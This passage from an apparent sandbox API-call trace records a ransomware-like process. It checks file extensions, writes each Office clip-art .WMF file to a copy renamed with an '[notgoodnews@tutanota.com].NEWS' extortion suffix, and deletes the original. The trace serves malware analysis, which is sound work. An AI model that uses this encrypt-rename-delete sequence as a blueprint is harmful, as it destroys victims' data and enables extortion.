(lpString=".zip") returned 4 [0181.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.035] lstrlenW (lpString=".rar") returned 4 [0181.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.035] lstrlenW (lpString=".bz2") returned 4 [0181.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.035] lstrlenW (lpString=".7z") returned 3 [0181.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.035] lstrlenW (lpString=".dbf") returned 4 [0181.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.035] lstrlenW (lpString=".1cd") returned 4 [0181.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.035] lstrlenW (lpString=".jpg") returned 4 [0181.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.035] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.035] lstrlenW (lpString="J0107146.WMF") returned 12 [0181.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0181.058] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=14996) returned 1 [0181.058] CloseHandle (hObject=0x3c4) returned 1 [0181.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220 [0181.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0181.283] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.283] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0181.284] GetLastError () returned 0x0 [0181.285] ReadFile (in: hFile=0x560, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0181.394] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0181.396] ReadFile (in: hFile=0x560, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.396] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.396] SetEndOfFile (hFile=0x4f0) returned 1 [0181.396] CloseHandle (hObject=0x4f0) returned 1 [0181.396] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.397] SetEndOfFile (hFile=0x560) returned 1 [0181.401] CloseHandle (hObject=0x560) returned 1 [0181.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0181.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.403] lstrlenW (lpString=".doc") returned 4 [0181.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.403] lstrlenW (lpString=".docx") returned 5 [0181.403] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0181.403] lstrlenW (lpString=".pdf") returned 4 [0181.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.403] lstrlenW (lpString=".xls") returned 4 [0181.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.403] lstrlenW (lpString=".xlsx") returned 5 [0181.403] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0181.403] lstrlenW (lpString=".ppt") returned 4 [0181.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.403] lstrlenW (lpString=".zip") returned 4 [0181.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.403] lstrlenW (lpString=".rar") returned 4 [0181.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.403] lstrlenW (lpString=".bz2") returned 4 [0181.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.403] lstrlenW (lpString=".7z") returned 3 [0181.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.404] lstrlenW (lpString=".dbf") returned 4 [0181.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.404] lstrlenW (lpString=".1cd") returned 4 [0181.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.404] lstrlenW (lpString=".jpg") returned 4 [0181.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.404] lstrlenW (lpString=".doc") returned 4 [0181.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.404] lstrlenW (lpString=".docx") returned 5 [0181.404] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0181.404] lstrlenW (lpString=".pdf") returned 4 [0181.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.404] lstrlenW (lpString=".xls") returned 4 [0181.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.404] lstrlenW (lpString=".xlsx") returned 5 [0181.404] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0181.404] lstrlenW (lpString=".ppt") returned 4 [0181.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.404] lstrlenW (lpString=".zip") returned 4 [0181.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.404] lstrlenW (lpString=".rar") returned 4 [0181.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.404] lstrlenW (lpString=".bz2") returned 4 [0181.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.405] lstrlenW (lpString=".7z") returned 3 [0181.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.405] lstrlenW (lpString=".dbf") returned 4 [0181.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.405] lstrlenW (lpString=".1cd") returned 4 [0181.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0181.405] lstrlenW (lpString=".jpg") returned 4 [0181.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.405] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.405] lstrlenW (lpString="J0107154.WMF") returned 12 [0181.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0181.406] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=22300) returned 1 [0181.406] CloseHandle (hObject=0x560) returned 1 [0181.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220 [0181.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0181.407] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.407] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0181.408] GetLastError () returned 0x0 [0181.408] ReadFile (in: hFile=0x560, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x571c, lpOverlapped=0x0) returned 1 [0181.442] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5720, lpOverlapped=0x0) returned 1 [0181.444] ReadFile (in: hFile=0x560, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.444] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.444] SetEndOfFile (hFile=0x4f0) returned 1 [0181.444] CloseHandle (hObject=0x4f0) returned 1 [0181.444] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.444] SetEndOfFile (hFile=0x560) returned 1 [0181.448] CloseHandle (hObject=0x560) returned 1 [0181.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0181.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.450] lstrlenW (lpString=".doc") returned 4 [0181.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.450] lstrlenW (lpString=".docx") returned 5 [0181.450] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0181.450] lstrlenW (lpString=".pdf") returned 4 [0181.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.450] lstrlenW (lpString=".xls") returned 4 [0181.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.450] lstrlenW (lpString=".xlsx") returned 5 [0181.450] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0181.450] lstrlenW (lpString=".ppt") returned 4 [0181.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.450] lstrlenW (lpString=".zip") returned 4 [0181.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.450] lstrlenW (lpString=".rar") returned 4 [0181.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.450] lstrlenW (lpString=".bz2") returned 4 [0181.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.450] lstrlenW (lpString=".7z") returned 3 [0181.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.450] lstrlenW (lpString=".dbf") returned 4 [0181.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.450] lstrlenW (lpString=".1cd") returned 4 [0181.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.451] lstrlenW (lpString=".jpg") returned 4 [0181.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.451] lstrlenW (lpString=".doc") returned 4 [0181.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.451] lstrlenW (lpString=".docx") returned 5 [0181.451] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0181.451] lstrlenW (lpString=".pdf") returned 4 [0181.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.451] lstrlenW (lpString=".xls") returned 4 [0181.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.451] lstrlenW (lpString=".xlsx") returned 5 [0181.451] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0181.451] lstrlenW (lpString=".ppt") returned 4 [0181.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.451] lstrlenW (lpString=".zip") returned 4 [0181.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.451] lstrlenW (lpString=".rar") returned 4 [0181.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.451] lstrlenW (lpString=".bz2") returned 4 [0181.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.451] lstrlenW (lpString=".7z") returned 3 [0181.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.451] lstrlenW (lpString=".dbf") returned 4 [0181.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.451] lstrlenW (lpString=".1cd") returned 4 [0181.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0181.452] lstrlenW (lpString=".jpg") returned 4 [0181.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.452] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.452] lstrlenW (lpString="J0107158.WMF") returned 12 [0181.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0181.453] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=24908) returned 1 [0181.453] CloseHandle (hObject=0x560) returned 1 [0181.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220 [0181.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0181.453] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.454] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0181.454] GetLastError () returned 0x0 [0181.454] ReadFile (in: hFile=0x560, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x614c, lpOverlapped=0x0) returned 1 [0181.463] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x6150, lpOverlapped=0x0) returned 1 [0181.464] ReadFile (in: hFile=0x560, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.464] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.464] SetEndOfFile (hFile=0x4f0) returned 1 [0181.465] CloseHandle (hObject=0x4f0) returned 1 [0181.465] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.465] SetEndOfFile (hFile=0x560) returned 1 [0181.469] CloseHandle (hObject=0x560) returned 1 [0181.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0181.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.651] lstrlenW (lpString=".doc") returned 4 [0181.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.652] lstrlenW (lpString=".docx") returned 5 [0181.652] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0181.652] lstrlenW (lpString=".pdf") returned 4 [0181.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.652] lstrlenW (lpString=".xls") returned 4 [0181.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.652] lstrlenW (lpString=".xlsx") returned 5 [0181.652] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0181.652] lstrlenW (lpString=".ppt") returned 4 [0181.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.652] lstrlenW (lpString=".zip") returned 4 [0181.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.652] lstrlenW (lpString=".rar") returned 4 [0181.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.652] lstrlenW (lpString=".bz2") returned 4 [0181.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.652] lstrlenW (lpString=".7z") returned 3 [0181.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.652] lstrlenW (lpString=".dbf") returned 4 [0181.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.652] lstrlenW (lpString=".1cd") returned 4 [0181.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.653] lstrlenW (lpString=".jpg") returned 4 [0181.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.653] lstrlenW (lpString=".doc") returned 4 [0181.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.653] lstrlenW (lpString=".docx") returned 5 [0181.653] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0181.653] lstrlenW (lpString=".pdf") returned 4 [0181.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.653] lstrlenW (lpString=".xls") returned 4 [0181.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.653] lstrlenW (lpString=".xlsx") returned 5 [0181.653] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0181.653] lstrlenW (lpString=".ppt") returned 4 [0181.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.653] lstrlenW (lpString=".zip") returned 4 [0181.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.653] lstrlenW (lpString=".rar") returned 4 [0181.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.653] lstrlenW (lpString=".bz2") returned 4 [0181.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.654] lstrlenW (lpString=".7z") returned 3 [0181.654] lstrcmpiW 